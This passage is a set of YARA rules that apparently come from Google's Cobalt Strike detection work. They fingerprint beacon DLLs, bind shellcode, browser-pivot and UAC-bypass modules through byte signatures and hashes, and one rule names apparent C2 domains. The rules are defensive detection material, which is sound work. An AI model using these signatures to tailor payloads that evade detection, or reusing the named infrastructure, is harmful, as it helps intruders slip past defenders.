		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_5_hf1_and_3_5_1
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.5-hf1 and 3.5.1 (3.5.x)"
		hash = "c78e70cd74f4acda7d1d0bd85854ccacec79983565425e98c16a9871f1950525"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "1532596e-be0e-58c2-8d3b-5120c793d677"

	strings:
		$version_sig = { 48 57 8B F1 83 F8 43 0F 87 07 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_6
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.6"
		hash = "495a744d0a0b5f08479c53739d08bfbd1f3b9818d8a9cbc75e71fcda6c30207d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "7e7b5c22-82b3-5298-b794-b06d94a668d5"

	strings:
		$version_sig = { 48 57 8B F9 83 F8 47 0F 87 2F 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_7
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.7"
		hash = "f18029e6b12158fb3993f4951dab2dc6e645bb805ae515d205a53a1ef41ca9b2"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "6352a31c-34b8-5886-8e34-ef9221c22e6e"

	strings:
		$version_sig = { 48 57 8B F9 83 F8 49 0F 87 47 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_8
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.8"
		hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "6c65cbf8-2c60-5315-b3b2-48dfcee75733"

	strings:
		$version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
		$xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go"
		$c2_1 = "ns7.softline.top" xor
		$c2_2 = "ns8.softline.top" xor
		$c2_3 = "ns9.softline.top" xor

	condition:
		$version_sig and $decoder and ( 2 of ( $c2_* ) or $xmrig_srcpath )
}

rule CobaltStrike_Resources_Beacon_Dll_v3_11
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.11"
		hash = "2428b93464585229fd234677627431cae09cfaeb1362fe4f648b8bee59d68f29"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "00e42396-db81-5d43-90ee-5a97b379019e"

	strings:
		$version_sig = { 48 57 8B FA 83 F8 50 0F 87 11 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_11_bugfix_and_v3_12
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.11-bugfix and 3.12"
		hash = "5912c96fffeabb2c5c5cdd4387cfbfafad5f2e995f310ace76ca3643b866e3aa"
		rs2 = "4476a93abe48b7481c7b13dc912090b9476a2cdf46a1c4287b253098e3523192"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "08ff2a2f-97bd-5839-b414-d67fbf2cdb0f"

	strings:
		$version_sig = { 48 57 8B FA 83 F8 50 0F 87 0D 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_13
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.13"
		hash = "362119e3bce42e91cba662ea80f1a7957a5c2b1e92075a28352542f31ac46a0c"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "98dd32e6-9bb5-57b2-a5e5-1c74a0d1e6d3"

	strings:
		$version_sig = { 4A 56 57 83 FA 5A 0F 87 2D 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_14
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.14"
		hash = "254c68a92a7108e8c411c7b5b87a2f14654cd9f1324b344f036f6d3b6c7accda"
		rs2 = "87b3eb55a346b52fb42b140c03ac93fc82f5a7f80697801d3f05aea1ad236730"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "00edfc72-c7b8-5100-8275-ae3548b96e49"

	strings:
		$version_sig = { 83 FA 5B 77 15 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_Dll_v4_0_suspected
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.0 (suspected, not confirmed)"
		hash = "e2b2b72454776531bbc6a4a5dd579404250901557f887a6bccaee287ac71b248"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "50ff6e44-ebc0-5000-a816-b385a6675768"

	strings:
		$version_sig = { 51 4A 56 57 83 FA 62 0F 87 8F 03 00 00 FF 24 95 56 7B 00 10 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_Dll_v4_1_and_v4_2
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.1 and 4.2"
		hash = "daa42f4380cccf8729129768f3588bb98e4833b0c40ad0620bb575b5674d5fc3"
		rs2 = "9de55f27224a4ddb6b2643224a5da9478999c7b2dea3a3d6b3e1808148012bcf"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "793df916-bdf7-5743-b008-0113caf38bae"

	strings:
		$version_sig = { 48 57 8B F2 83 F8 63 0F 87 3C 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.3 and 4.4"
		hash = "51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f"
		rs2 = "78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "976e087c-f371-5fc6-85f8-9c803a91f549"

	strings:
		$version_sig = { 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_Dll_v4_7_suspected
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.7 (suspected, not confirmed)"
		hash = "da9e91b3d8df3d53425dd298778782be3bdcda40037bd5c92928395153160549"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "4b6f90dd-69f3-5555-9195-6a0aed0fff58"

	strings:
		$version_sig = { 53 56 48 57 8B F2 83 F8 67 0F 87 5E 03 00 00  }
		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_2
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.2"
		hash = "5993a027f301f37f3236551e6ded520e96872723a91042bfc54775dcb34c94a1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "61188243-0b90-5bff-bcc8-50f10ed941f6"

	strings:
		$version_sig = { 4C 8D 05 9F F8 FF FF 8B D3 48 8B CF E8 05 1A 00 00
                     EB 0A 8B D3 48 8B CF E8 41 21 00 00 48 8B 5C 24 30
                     48 83 C4 20 }
		$decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_3
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.3"
		hash = "7b00721efeff6ed94ab108477d57b03022692e288cc5814feb5e9d83e3788580"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "fb96ecff-809e-5704-974e-a2d8ef022daa"

	strings:
		$version_sig = { 8B D3 48 8B CF E8 89 66 00 00 E9 23 FB FF FF
                     41 B8 01 00 00 00 E9 F3 FD FF FF 48 8D 0D 2A F8 FF FF
                     E8 8D 2B 00 00 48 8B 5C 24 30 48 83 C4 20 }
		$decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_4
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.4"
		hash = "5a4d48c2eda8cda79dc130f8306699c8203e026533ce5691bf90363473733bf0"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "97ef152c-86c7-513c-a881-e7d594d38dcf"

	strings:
		$version_sig = { 8B D3 48 8B CF E8 56 6F 00 00 E9 17 FB FF FF
                     41 B8 01 00 00 00 8B D3 48 8B CF E8 41 4D 00 00
                     48 8B 5C 24 30 48 83 C4 20 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_5_hf1_and_v3_5_1
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.5-hf1 and 3.5.1"
		hash = "934134ab0ee65ec76ae98a9bb9ad0e9571d80f4bf1eb3491d58bacf06d42dc8d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "0c0e87d3-e0e2-5ddc-9d89-5e56443da4b8"

	strings:
		$version_sig = { 8B D3 48 8B CF E8 38 70 00 00 E9 FD FA FF FF
                     41 B8 01 00 00 00 8B D3 48 8B CF E8 3F 4D 00 00
                     48 8B 5C 24 30 48 83 C4 20 5F }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_6
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.6"
		hash = "92b0a4aec6a493bcb1b72ce04dd477fd1af5effa0b88a9d8283f26266bb019a1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "9651a1ca-d8ea-5b0b-bcba-a850c2e07791"

	strings:
		$version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 27
                     0F 87 47 03 00 00 0F 84 30 03 00 00 83 F9 14
                     0F 87 A4 01 00 00 0F 84 7A 01 00 00 83 F9 0C
                     0F 87 C8 00 00 00 0F 84 B3 00 00 00 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_7
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.7"
		hash = "81296a65a24c0f6f22208b0d29e7bb803569746ce562e2fa0d623183a8bcca60"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "27fad98a-2882-5c52-af6e-c7dcf5559624"

	strings:
		$version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 28
                     0F 87 7F 03 00 00 0F 84 67 03 00 00 83 F9 15
                     0F 87 DB 01 00 00 0F 84 BF 01 00 00 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_8
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.8"
		hash = "547d44669dba97a32cb9e95cfb8d3cd278e00599e6a11080df1a9d09226f33ae"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "89809d81-9a8b-5cf3-a251-689bf52e98e0"

	strings:
		$version_sig = { 8B D3 48 8B CF E8 7A 52 00 00 EB 0D 45 33 C0 8B D3 48 8B CF
                     E8 8F 55 00 00 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_11
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.11 (two subversions)"
		hash = "64007e104dddb6b5d5153399d850f1e1f1720d222bed19a26d0b1c500a675b1a"
		rs2 = "815f313e0835e7fdf4a6d93f2774cf642012fd21ce870c48ff489555012e0047"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "bf0c7661-2583-5fca-beb5-abb2b50c860d"

	strings:
		$version_sig = { 48 83 EC 20 41 8B D8 48 8B FA 83 F9 2D 0F 87 B2 03 00 00
                     0F 84 90 03 00 00 83 F9 17 0F 87 F8 01 00 00
                     0F 84 DC 01 00 00 83 F9 0E 0F 87 F9 00 00 00
                     0F 84 DD 00 00 00 FF C9 0F 84 C0 00 00 00 83 E9 02
                     0F 84 A6 00 00 00 FF C9 }
		$decoder = {
      80 34 28 ??
      48 FF C0
      48 3D 00 10 00 00
      7C F1
    }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_12
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.12"
		hash = "8a28b7a7e32ace2c52c582d0076939d4f10f41f4e5fa82551e7cc8bdbcd77ebc"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "6eeae9f4-96e0-5a98-a8dc-779c916cd968"

	strings:
		$version_sig = { 8B D3 48 8B CF E8 F8 2E 00 00 EB 16 8B D3 48 8B CF
                     E8 00 5C 00 00 EB 0A 8B D3 48 8B CF E8 64 4F 00 00 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_13
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.13"
		hash = "945e10dcd57ba23763481981c6035e0d0427f1d3ba71e75decd94b93f050538e"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "202eb8ea-7afb-515b-9306-67514abf5e55"

	strings:
		$version_sig = { 48 8D 0D 01 5B FF FF 48 83 C4 28 E9 A8 54 FF FF 8B D0
                     49 8B CA E8 22 55 FF FF }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_x64_v3_14
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.14"
		hash = "297a8658aaa4a76599a7b79cb0da5b8aa573dd26c9e2c8f071e591200cf30c93"
		rs2 = "39b9040e3dcd1421a36e02df78fe031cbdd2fb1a9083260b8aedea7c2bc406bf"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "d69171e3-86f4-5187-8874-5eee2045f746"

	strings:
		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 B1 1F 00 00 8B D0 49 8B CA
                     48 83 C4 28 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_Dll_x86_v4_0_suspected
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.0 (suspected, not confirmed)"
		hash = "55aa2b534fcedc92bb3da54827d0daaa23ece0f02a10eb08f5b5247caaa63a73"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "28a735c4-87d1-5e14-9379-46a6fd0cdd2a"

	strings:
		$version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 D1 B3 FF FF
                     8B D0 49 8B CA 48 83 C4 28 E9 AF F5 FF FF 45 33 C0
                     4C 8D 0D 8D 70 FF FF 8B D0 49 8B CA E8 9B B0 FF FF }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_x64_v4_1_and_v_4_2
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.1 and 4.2"
		hash = "29ec171300e8d2dad2e1ca2b77912caf0d5f9d1b633a81bb6534acb20a1574b2"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "dc320d17-98fc-5df3-ba05-4d134129317e"

	strings:
		$version_sig = { 83 F9 34 0F 87 8E 03 00 00 0F 84 7A 03 00 00 83 F9 1C 0F 87 E6 01 00 00
                     0F 84 D7 01 00 00 83 F9 0E 0F 87 E9 00 00 00 0F 84 CE 00 00 00 FF C9
                     0F 84 B8 00 00 00 83 E9 02 0F 84 9F 00 00 00 FF C9 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_x64_v4_3
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Version 4.3"
		hash = "3ac9c3525caa29981775bddec43d686c0e855271f23731c376ba48761c27fa3d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "572616c7-d1ec-5aa1-b142-4f2edf73737f"

	strings:
		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 D3 88 FF FF
                     4C 8D 05 84 6E FF FF 8B D0 49 8B CA 48 83 C4 28 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_x64_v4_4_v_4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.4 through at least 4.6"
		hash = "3280fec57b7ca94fd2bdb5a4ea1c7e648f565ac077152c5a81469030ccf6ab44"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "79b6bfd4-1e45-5bd9-ac5c-19eb176ce698"

	strings:
		$version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 83 88 FF FF
                     4C 8D 05 A4 6D FF FF 8B D0 49 8B CA 48 83 C4 28 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_Beacon_x64_v4_5_variant
{
	meta:
		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)"
		hash = "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "45715da9-8f16-5304-b216-1ca36c508c77"

	strings:
		$version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF
                     8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 }
		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Bind64_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/bind64.bin signature for versions v2.5 to v4.x"
		hash = "5dd136f5674f66363ea6463fd315e06690d6cb10e3cc516f2d378df63382955d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "a01e7bc3-40e9-5f87-8fd6-926972be273b"

	strings:
		$apiLocator = {
			48 [2]
			AC
			41 [2] 0D
			41 [2]
			38 ??
			75 ??
			4C [4]
			45 [2]
			75 ??
			5?
			44 [2] 24
			49 [2]
			66 [4]
			44 [2] 1C
			49 [2]
			41 [3]
			48
		}
		$calls = {
			41 BA C2 DB 37 67
			FF D5
			48 [2]
			48 [2]
			41 BA B7 E9 38 FF
			FF D5
			4D [2]
			48 [2]
			48 [2]
			41 BA 74 EC 3B E1
			FF D5
			48 [2]
			48 [2]
			41 BA 75 6E 4D 61
		}

	condition:
		$apiLocator and $calls
}

rule CobaltStrike_Resources_Bind_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/bind.bin signature for versions 2.5 to 4.x"
		hash = "3727542c0e3c2bf35cacc9e023d1b2d4a1e9e86ee5c62ee5b66184f46ca126d1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "32f129c1-9845-5843-9e16-7d9af217b8e2"

	strings:
		$apiLocator = {
			31 ??
			AC
			C1 ?? 0D
			01 ??
			38 ??
			75 ??
			03 [2]
			3B [2]
			75 ??
			5?
			8B ?? 24
			01 ??
			66 8B [2]
			8B ?? 1C
			01 ??
			8B ?? 8B
			01 ??
			89 [3]
			5?
			5?
		}
		$ws2_32 = {
			5D
			68 33 32 00 00
			68 77 73 32 5F
		}
		$listenaccept = {
			5?
			5?
			68 B7 E9 38 FF
			FF ??
			5?
			5?
			5?
			68 74 EC 3B E1
		}

	condition:
		$apiLocator and $ws2_32 and $listenaccept
}

rule CobaltStrike__Resources_Browserpivot_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_Dll_v4_0_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/browserpivot.bin from v1.48 to v3.14 and sleeve/browserpivot.dll from v4.0 to at least v4.4"
		hash = "12af9f5a7e9bfc49c82a33d38437e2f3f601639afbcdc9be264d3a8d84fd5539"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "55086544-6684-526b-914f-505a562be458"

	strings:
		$socket_recv = {
			FF [1-5]
			83 ?? FF
			74 ??
			85 C0
			(74 | 76) ??
			03 ??
			83 ?? 02
			72 ??
			80 ?? 3E FF 0A
			75 ??
			80 ?? 3E FE 0D
		}
		$fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"

	condition:
		all of them
}

rule CobaltStrike_Resources_Browserpivot_x64_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_x64_Dll_v4_0_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/browserpivot.x64.bin from v1.48 to v3.14 and sleeve/browserpivot.x64.dll from v4.0 to at least v4.4"
		hash = "0ad32bc4fbf3189e897805cec0acd68326d9c6f714c543bafb9bc40f7ac63f55"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "a5dfae85-ff9c-5ca5-9ac0-041c6108a6ed"

	strings:
		$socket_recv = {
			FF 15 [4]
			83 ?? FF
			74 ??
			85 ??
			74 ??
			03 ??
			83 ?? 02
			72 ??
			8D ?? FF
			80 [2] 0A
			75 ??
			8D ?? FE
			80 [2] 0D
		}
		$fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"

	condition:
		all of them
}

rule CobaltStrike_Resources_Bypassuac_Dll_v1_49_to_v3_14_and_Sleeve_Bypassuac_Dll_v4_0_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/bypassuac(-x86).dll from v1.49 to v3.14 (32-bit version) and sleeve/bypassuac.dll from v4.0 to at least v4.4"
		hash = "91d12e1d09a642feedee5da966e1c15a2c5aea90c79ac796e267053e466df365"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "614046b5-cf81-56a5-8824-b3a7e14a8ed5"

	strings:
		$deleteFileCOM = {
			A1 [4]
			6A 00
			8B ??
			5?
			5?
			FF ?? 48
			85 ??
			75 ??
			A1 [4]
			5?
			8B ??
			FF ?? 54
		}
		$copyFileCOM = {
			A1 [4]
			6A 00
			FF [2]
			8B ??
			FF [5]
			FF [5]
			5?
			FF ?? 40
			85 ??
			[2 - 6]
			A1 [4]
			5?
			8B ??
			FF ?? 54
		}

	condition:
		all of them
}

rule CobaltStrike_Resources_Bypassuac_x64_Dll_v3_3_to_v3_14_and_Sleeve_Bypassuac_x64_Dll_v4_0_and_v4_x
{
	meta:
		description = "Cobalt Strike's resources/bypassuac-x64.dll from v3.3 to v3.14 (64-bit version) and sleeve/bypassuac.x64.dll from v4.0 to at least v4.4"
		hash = "9ecf56e9099811c461d592c325c65c4f9f27d947cbdf3b8ef8a98a43e583aecb"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "eef83901-63d9-55a3-b115-03f420416177"

	strings:
		$deleteFileCOM = {
			48 8B [5]
			45 33 ??
			48 8B ??
			FF 90 90 00 00 00
			85 C0
			75 ??
			48 8B [5]
			48 8B ??
			FF 92 A8 00 00 00
			85 C0
		}
		$copyFileCOM = {
			48 8B [5]
			4C 8B [5]
			48 8B [5]
			48 8B ??
			4C 8B ??
			48 89 [3]
			FF 90 80 00 00 00
			85 C0
			0F 85 [4]
			48 8B [5]
			48 8B 11
			FF 92 A8 00 00 00
		}

	condition:
		all of them
}

rule CobaltStrike_Resources_Bypassuactoken_Dll_v3_11_to_v3_14
{
	meta:
		description = "Cobalt Strike's resources/bypassuactoken.dll from v3.11 to v3.14 (32-bit version)"
		hash = "df1c7256dfd78506e38c64c54c0645b6a56fc56b2ffad8c553b0f770c5683070"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "b9f25fa5-bd1d-5ba0-9b1d-bb97e1dbf76b"

	strings:
		$isHighIntegrityProcess = {
			5?
			5?
			5?
			8B ??
			6A 19
			5?
			FF 15 [4]
			85 C0
			75 ??
			FF 15 [4]
			83 ?? 7A
			75 ??
			FF [2]
			5?
			FF 15 [4]
			8B ??
			8D [2]
			5?
			FF [2]
			5?
			6A 19
			5?
			FF 15 [4]
			85 C0
			74 ??
			FF ??
			FF 15 [4]
			8A ??
			FE C8
			0F B6 C0
			5?
			FF ??
			FF 15 [4]
			B? 01 00 00 00
			5?
			81 ?? 00 30 00 00
		}
		$executeTaskmgr = {
			6A 3C
			8D ?? C4
			8B ??
			6A 00
			5?
			8B ??
			E8 [4]
			83 C4 0C
			C7 [2] 3C 00 00 00
			8D [2]
			C7 [2] 40 00 00 00
			C7 [6]
			C7 [2] 00 00 00 00
			5?
			C7 [2] 00 00 00 00
			C7 [6]
			C7 [2] 00 00 00 00
			FF 15 [4]
			FF 75 FC
		}

